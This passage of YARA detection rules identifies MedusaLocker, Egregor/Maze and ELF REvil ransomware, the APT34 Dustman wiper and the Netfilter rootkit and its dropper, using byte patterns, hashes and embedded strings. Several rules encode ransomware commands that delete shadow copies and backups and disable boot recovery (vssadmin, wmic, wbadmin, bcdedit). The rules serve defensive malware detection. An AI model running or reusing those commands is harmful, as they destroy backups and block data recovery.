		$s2 = { 55 48 89 e5 53 48 83 ec 48 48 89 7d b8 48 c7 45 d8 [2] 40 00 48 c7 45 d0 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 eb 30 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 89 c7 e8 ?? fa ff ff 89 c2 8b 45 e8 01 d0 83 c0 01 89 45 e8 83 45 ec 01 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 85 c0 75 b4 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 83 ea 08 48 01 d0 48 8b 18 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 83 ea 08 48 01 d0 48 8b 00 48 89 c7 e8 ?? fa ff ff 48 83 c0 01 48 01 d8 48 89 45 d0 8b 45 e8 48 98 48 89 c7 e8 ?? fb ff ff 48 89 45 e0 c7 45 ec 00 00 00 00 eb 74 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 10 48 8b 45 e0 48 89 d6 48 89 c7 e8 ?? f9 ff ff 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 89 c7 e8 ?? f9 ff ff 89 45 cc 8b 45 cc 48 98 48 83 c0 01 48 01 45 e0 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 c2 48 8b 45 e0 48 89 02 83 45 ec 01 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 }
		$s3 = "amcsh_connect" fullword ascii
		$s4 = "GOT HAHA: %d" fullword ascii
		$s5 = { 52 65 63 76 65 64 20 74 65 72 6d 20 65 6e 76 20 76 61 72 3a 20 25 73 00 77 69 6e 3a 25 64 2c 25 64 }
		$s6 = { 55 48 89 e5 48 81 ec f0 20 00 00 89 bd 1c df ff ff 48 c7 45 f0 [2] 40 00 48 8d 85 20 df ff ff be 01 20 00 00 48 89 c7 e8 ?? fa ff ff 48 8d b5 28 ff ff ff 48 8d 85 2c ff ff ff 41 b8 00 00 00 00 b9 00 00 00 00 ba 00 00 00 00 48 89 c7 e8 ?? fa ff ff 85 c0 79 2a e8 ?? f8 ff ff 8b 00 89 c7 e8 ?? fa ff ff 48 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 26 fc ff ff b8 01 00 00 00 e9 f8 05 00 00 8b 85 28 ff ff ff 89 c7 e8 ?? fa ff ff 48 89 45 e8 48 83 7d e8 00 75 0a b8 01 00 00 00 e9 d6 05 00 00 bf [2] 40 00 e8 ?? f9 ff ff 48 8d 95 20 df ff ff 8b 85 1c df ff ff 48 89 d6 89 c7 e8 ?? 17 00 00 89 45 fc 83 7d fc 00 79 2a e8 [2] ff ff 8b 00 89 c7 e8 ?? fa ff ff 48 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 b0 fb ff ff }
		$s7 = { 8b 45 fc 48 63 d0 8b 85 2c ff ff ff 48 8d 8d 20 df ff ff 48 89 ce 89 c7 e8 ?? f3 ff ff 89 45 fc 8b 45 fc 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 f0 f6 ff ff 83 7d fc }
		$s8 = { 55 48 89 e5 53 48 81 ec e8 00 00 00 48 89 b5 48 ff ff ff 48 89 95 50 ff ff ff 48 89 8d 58 ff ff ff 4c 89 85 60 ff ff ff 4c 89 8d 68 ff ff ff 84 c0 74 23 0f 29 85 70 ff ff ff 0f 29 4d 80 0f 29 55 90 0f 29 5d a0 0f 29 65 b0 0f 29 6d c0 0f 29 75 d0 0f 29 7d e0 48 89 bd 18 ff ff ff 48 8b 05 [2] 20 00 48 85 c0 75 16 be [2] 40 00 bf [2] 40 00 e8 ?? fd ff ff 48 89 05 [2] 20 00 c7 85 20 ff ff ff 08 00 00 00 c7 85 24 ff ff ff 30 00 00 00 48 8d 45 10 48 89 85 28 ff ff ff 48 8d 85 40 ff ff ff 48 89 85 30 ff ff ff 48 8b 05 [2] 20 00 48 8d 95 20 ff ff ff 48 8b 8d 18 ff ff ff 48 89 ce 48 89 c7 e8 ?? fd ff ff 48 c7 85 38 ff ff ff [2] 40 00 48 8b 1d [2] 20 00 48 8b 85 38 ff ff ff 48 89 c7 e8 ?? fb ff ff 48 89 c6 48 8b 85 38 ff ff ff 48 89 d9 ba 01 00 00 00 48 89 c7 e8 ?? fd ff ff 48 8b 05 [2] 20 00 48 89 c7 e8 ?? fc ff ff 48 81 c4 e8 00 00 00 5b }
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 10KB and 6 of ( $s* )
}

rule ARKBIRD_SOLG_RAN_Medusalocker_Aug_2021_1 : FILE
{
	meta:
		description = "Detect MedusaLocker ransomware"
		author = "Arkbird_SOLG"
		id = "9e647371-b37a-53af-bfb6-cde72855b564"
		date = "2021-08-08"
		modified = "2021-08-08"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-08/medusalocker/RAN_MedusaLocker_Aug_2021_1.yara#L1-L29"
		license_url = "N/A"
		logic_hash = "40dd3ec16eefc59cb25c8855fb62cda1d642ec711226c1c964fd26384be7ef15"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "4f9a833e79092006c06203a66b41fc9250bcebcee148fea404db75d52035131c"
		hash2 = "212e7f5ed4a581b4d778dfef226738c6db56b4b4006526259392d03062587887"
		hash3 = "a25c0227728878c386ab6dba139976cb10e853dd3cd1eb3623f236ee8e1df212"
		hash4 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc"
		hash5 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad"
		hash6 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31"
		tlp = "white"
		adversary = "RaaS"
	strings:
		$s1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide
		$s2 = { 83 c4 08 8d 8d ?? fe ff ff e8 [2] ff ff 8d 8d ?? fe ff ff e8 [2] ff ff 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d [2] ff ff e8 [2] 00 00 8d 8d [2] ff ff 51 e8 ?? f9 ff ff 83 c4 04 88 85 2b ff ff ff 8d 8d [2] ff ff e8 [2] 00 00 0f b6 95 2b ff ff ff 85 d2 74 1e 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 33 c0 e9 [2] 00 00 8d 4d fa e8 [2] ff ff 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 0f b6 c0 85 c0 74 0c c7 85 ?? fe ff ff [2] 48 00 eb 0a c7 85 ?? fe ff ff [2] 48 00 8b 8d ?? fe ff ff 89 8d ?? fe ff ff 8d 95 ?? fe ff ff 52 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? f8 ff ff 8d 4d 8c e8 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff b9 [2] 4a 00 e8 [2] ff ff 50 e8 [2] ff ff 83 c4 04 50 8d 4d 8c e8 [2] 00 00 0f b6 c0 85 c0 75 41 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? c6 ff ff c7 85 ?? fe ff ff 00 00 00 00 8d 4d 8c e8 [2] 00 00 8d 4d fa e8 [2] ff ff 8b 85 ?? fe ff ff e9 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d ?? fe ff ff e8 [2] 00 00 8d 8d ?? fd ff ff 51 8d 4d 8c e8 [2] 00 00 50 e8 [2] ff ff 83 c4 04 50 8d 95 ?? fe ff ff 52 b9 [2] 4a 00 e8 [2] 00 00 0f b6 c0 85 c0 75 0c c7 85 ?? fe ff ff 01 00 00 00 eb 0a c7 85 ?? fe ff ff 00 00 00 00 8a 8d ?? fe ff ff 88 8d 2a ff ff ff 8d 8d ?? fd ff ff e8 [2] 00 00 8d 8d ?? fe ff ff }
		$s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 }
		$s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 }
		$s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide
		$s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f }
		$s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 }
		$s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 }
		$s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 }
		$s10 = { 33 c0 48 89 44 24 40 48 c7 44 24 48 07 00 00 00 66 89 44 24 30 44 8d 40 26 48 8d 15 [2] 09 00 48 8d 4c 24 30 e8 [2] ff ff 48 83 7c 24 40 00 74 42 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 b9 01 00 1f 00 ff 15 [2] 07 00 48 85 c0 75 1f 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 33 c9 ff 15 [2] 07 00 32 db eb 02 b3 01 48 8b 54 24 48 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 30 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 d3 00 00 00 e8 [2] 03 00 84 db 0f 85 ad 00 00 00 e8 3e 36 00 00 84 c0 75 05 e8 c5 36 00 00 e8 ?? 94 ff ff 48 8d 1d [2] 0d 00 48 8d 4c 24 30 e8 [2] ff ff 48 8b f8 48 8d 35 [2] 0d 00 0f 1f }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 150KB and 9 of ( $s* )
}

rule ARKBIRD_SOLG_Ran_Egregor_Oct_2020_1 : FILE
{
	meta:
		description = "Detect Egregor / Maze ransomware by Maze blocks"
		author = "Arkbird_SOLG"
		id = "03d3ee25-cd0c-573e-beca-e4ff4377da9f"
		date = "2020-10-29"
		modified = "2023-11-22"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-31/Ran_Egregor_Oct_2020_1 .yar#L1-L21"
		license_url = "N/A"
		logic_hash = "d7d03db002b74d031b725db60e38a46abce564fb090b013aa9ec66376b430000"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "14e547bebaa738b8605ba4182c4379317d121e268f846c0ed3da171375e65fe4"
		hash2 = "af538ab1b8bdfbf5b7f1548d72c0d042eb14d0011d796cab266f0671720abb4d"
		hash3 = "42ac07c5175d88d6528cfe3dceacd01834323f10c4af98b1a190d5af7a7bb1cb"
		hash4 = "4139c96d16875d1c3d12c27086775437b26d3c0ebdcdc258fb012d23b9ef8345"
	strings:
		$x1 = { 45 f4 8b 4d 10 8b 09 0f b7 49 06 39 c8 0f 8d a2 00 00 00 8b 45 e4 83 78 10 00 75 48 8b 45 0c 8b 40 38 89 45 f0 83 7d f0 00 7e 37 31 c0 8b 4d ec 8b 55 e4 03 4a 0c 89 4d e8 8b 4d e8 8b 55 e4 89 4a 08 8b 4d f0 8b 55 e8 89 14 24 c7 44 24 04 00 00 00 00 89 4c 24 08 89 45 d4 e8 9e c6 ff ff 89 45 d0 eb 3a 8b 45 ec 8b 4d e4 03 41 0c 89 45 e8 8b 45 e4 8b 40 10 8b 4d 08 8b 55 e4 03 4a 14 8b 55 e8 89 14 24 89 4c 24 04 89 44 24 08 e8 77 a1 ff ff 8b 4d e8 8b 55 e4 89 4a 08 89 45 cc 8b 45 f4 83 c0 01 89 45 f4 8b 45 e4 83 c0 28 89 45 e4 }
		$x2 = { 8b 45 f0 83 38 00 0f 86 a0 00 00 00 8b 45 f8 8b 4d f0 03 01 89 45 ec 8b 45 f0 83 c0 08 89 45 e8 c7 45 fc 00 00 00 00 8b 45 fc 8b 4d f0 8b 49 04 83 e9 08 d1 e9 39 c8 73 62 8b 45 e8 0f b7 00 c1 e8 0c 89 45 e0 8b 45 e8 0f b7 00 25 ff 0f 00 00 89 45 dc 8b 45 e0 85 c0 89 45 d0 74 0f eb 00 8b 45 d0 83 e8 03 89 45 cc 74 04 eb 17 eb 17 8b 45 ec 03 45 dc 89 45 e4 8b 45 0c 8b 4d e4 03 01 89 01 eb 02 eb 00 eb 00 8b 45 fc 83 c0 01 89 45 fc 8b 45 e8 83 c0 02 89 45 e8 eb 8c 8b 45 f0 8b 4d f0 03 41 04 89 45 f0 }
		$x3 = { 8b 45 f0 8b 4d ec 03 01 89 45 e8 8b 45 e8 89 04 24 c7 44 24 04 14 00 00 00 ff 15 38 f0 0b 10 83 ec 08 31 c9 88 ca 83 f8 00 88 55 cf 75 0d 8b 45 e8 83 78 0c 00 0f 95 c1 88 4d cf 8a 45 cf a8 01 75 05 e9 6e 01 00 00 8b 45 f0 8b 4d e8 03 41 0c 89 04 24 ff 15 3c f0 0b 10 83 ec 04 89 45 dc 8b 45 dc b9 ff ff ff ff 39 c8 }
		$op1 = { 60 8b 7d 08 8b 4d 10 8b 45 0c f3 aa 61 89 45 f0 }
		$op2 = { 83 7d 08 00 89 45 ec 89 4d e8 89 55 e4 }
		$op3 = { 89 4d e8 89 55 e4 75 09 c7 45 f0 00 00 00 00 }
		$op4 = { 75 09 c7 45 f0 00 00 00 00 eb 17 60 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 350KB and ( 3 of ( $op* ) or 2 of ( $x* ) )
}


rule ARKBIRD_SOLG_APT_APT34_Dustman_Apr_2021_1 : FILE
{
	meta:
		description = "Detect the Installer of Dustman wiper used by APT34"
		author = "Arkbird_SOLG"
		id = "071063f5-d2a4-5666-a8c4-283c02061f6d"
		date = "2021-04-28"
		modified = "2021-04-30"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-29/APT34/APT_APT34_Dustman_Apr_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "44e68fa21c1d6258bc9c0dcdc9cc531a15081122c90b23607bcfda716471aeb6"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "a9397eb9e95087db7e03239c689776d56c1450d685568564acd90e1532c78882"
		tlp = "white"
		adversary = "APT34"
	strings:
		$s1 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 00 00 00 00 2f 63 20 61 67 65 6e 74 2e 65 78 65 20 41 00 00 44 00 6f 00 77 00 6e 00 20 00 57 00 69 00 74 00 68 00 20 00 42 00 69 00 6e 00 20 00 53 00 61 00 6c 00 6d 00 61 00 6e 00 00 00 00 00 5c 00 }
		$s2 = "\\assistant.sys" fullword wide
		$s3 = { 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 00 00 00 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4f 00 72 00 61 00 63 00 6c 00 65 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 42 00 6f 00 78 00 00 00 00 00 54 68 65 20 4d 61 67 69 63 20 57 6f 72 64 21 00 56 00 42 00 6f 00 78 00 44 00 72 00 76 00 00 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 00 00 56 00 42 00 6f 00 78 00 55 00 53 00 42 00 4d 00 6f 00 6e 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 41 00 64 00 70 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 4c 00 77 00 66 }
		$s4 = { 5c 00 5c 00 2e 00 5c 00 25 00 73 }
		$s5 = { 68 54 00 00 00 68 00 00 00 00 68 80 69 40 00 e8 f4 0f 00 00 83 c4 0c 68 00 00 00 00 e8 ed 0f 00 00 a3 84 69 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 e8 da 0f 00 00 a3 80 69 40 00 e8 fc 2f 00 00 e8 7d 2c 00 00 e8 7a 18 00 00 e8 1d 12 00 00 e8 40 2d 00 00 68 00 00 00 00 e8 78 2f 00 00 a3 8c 69 40 00 68 00 00 00 00 e8 8d 2f 00 00 a3 90 69 40 00 c7 05 94 69 40 00 5a 00 00 00 c7 05 98 69 40 00 14 00 00 00 8b 1d 8c 69 40 00 2b 1d 94 69 40 00 83 c3 ea 89 1d 9c 69 40 00 8b 1d 90 69 40 00 2b 1d 98 69 40 00 83 c3 cc 89 1d a0 69 40 00 68 00 00 c8 00 68 18 60 40 00 ff 35 98 69 40 00 ff 35 94 69 40 00 ff 35 a0 69 40 00 ff 35 9c 69 40 00 68 00 00 00 }
		$s6 = "Release\\Dustman.pdb" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 50KB and 4 of them
}

rule ARKBIRD_SOLG_MAL_Netfilter_May_2021_1 : FILE
{
	meta:
		description = "Detect Netfilter rootkit"
		author = "Arkbird_SOLG"
		id = "da333ed8-8cd3-5ae4-bce5-a43a227fdee3"
		date = "2021-06-18"
		modified = "2021-06-21"
		reference = "https://twitter.com/struppigel/status/1405483373280235520"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_May_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "f219981af907f74e4d95f768d99b7fd877c8bfb00587d198a4b0e2c521c744e1"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
		tlp = "White"
		adversary = "Chinese APT Group"
	strings:
		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
		$s1 = "%sc=%s" fullword ascii
		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
		$s3 = "NETIO.SYS" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and ( 3 of ( $seq* ) or 2 of ( $s* ) )
}

rule ARKBIRD_SOLG_MAL_Netfilter_Dropper_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the dropper of Netfilter rootkit"
		author = "Arkbird_SOLG"
		id = "5e67c99c-6b08-5190-9c8a-55086c20923e"
		date = "2020-06-18"
		modified = "2021-06-18"
		reference = "https://twitter.com/struppigel/status/1405483373280235520"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_Dropper_Jun_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "66e96304e097a0f6cd99cf77b20f61b8a0bcceaf8685a336c039a80947a08f78"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
		tlp = "White"
		adversary = "Chinese APT Group"
	strings:
		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
		$s1 = "%s\\netfilter.sys" fullword ascii
		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
		$s3 = "\\\\.\\netfilter" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 6KB and ( all of ( $seq* ) or 2 of ( $s* ) )
}


rule ARKBIRD_SOLG_RAN_ELF_Revil_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the ELF version of REvil ransomware"
		author = "Arkbird_SOLG"
		id = "b4b9d60e-a352-5045-8be3-e9a08d70ef6b"
		date = "2021-06-28"
		modified = "2021-06-29"
		reference = "https://twitter.com/jaimeblascob/status/1409603887871500288"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-28/REvil/RAN_ELF_REvil_Jun_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "054bdb8362fdea2dc914b11387f6c67e35932acb73ba2b133ca29f69549914ba"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "3d375d0ead2b63168de86ca2649360d9dcff75b3e0ffa2cf1e50816ec92b3b7d"
		hash2 = "d6762eff16452434ac1acc127f082906cc1ae5b0ff026d0d4fe725711db47763"
		hash3 = "796800face046765bd79f267c56a6c93ee2800b76d7f38ad96e5acb92599fcd4"
		hash4 = "ea1872b2835128e3cb49a0bc27e4727ca33c4e6eba1e80422db19b505f965bc4"
		tlp = "White"
		adversary = "RAAS"
	strings:
		$seq1 = { 55 48 89 e5 48 83 c4 80 bf 04 20 00 00 e8 69 d5 ff ff 48 89 45 f8 ?? 8b 05 [2] 31 00 [0-4] 48 8b 3d [2] 31 00 48 8b 35 [2] 31 00 48 8b 0d [2] 31 00 4c 8b 0d [2] 31 00 4c 8b [2] 13 31 00 48 8b 15 ?? 13 31 00 48 8b 45 f8 4c 89 ?? 24 18 48 89 7c 24 10 48 89 74 24 08 48 89 0c 24 ?? 89 }
		$seq2 = { 48 89 e5 bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff 8b 05 [2] 20 00 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff }
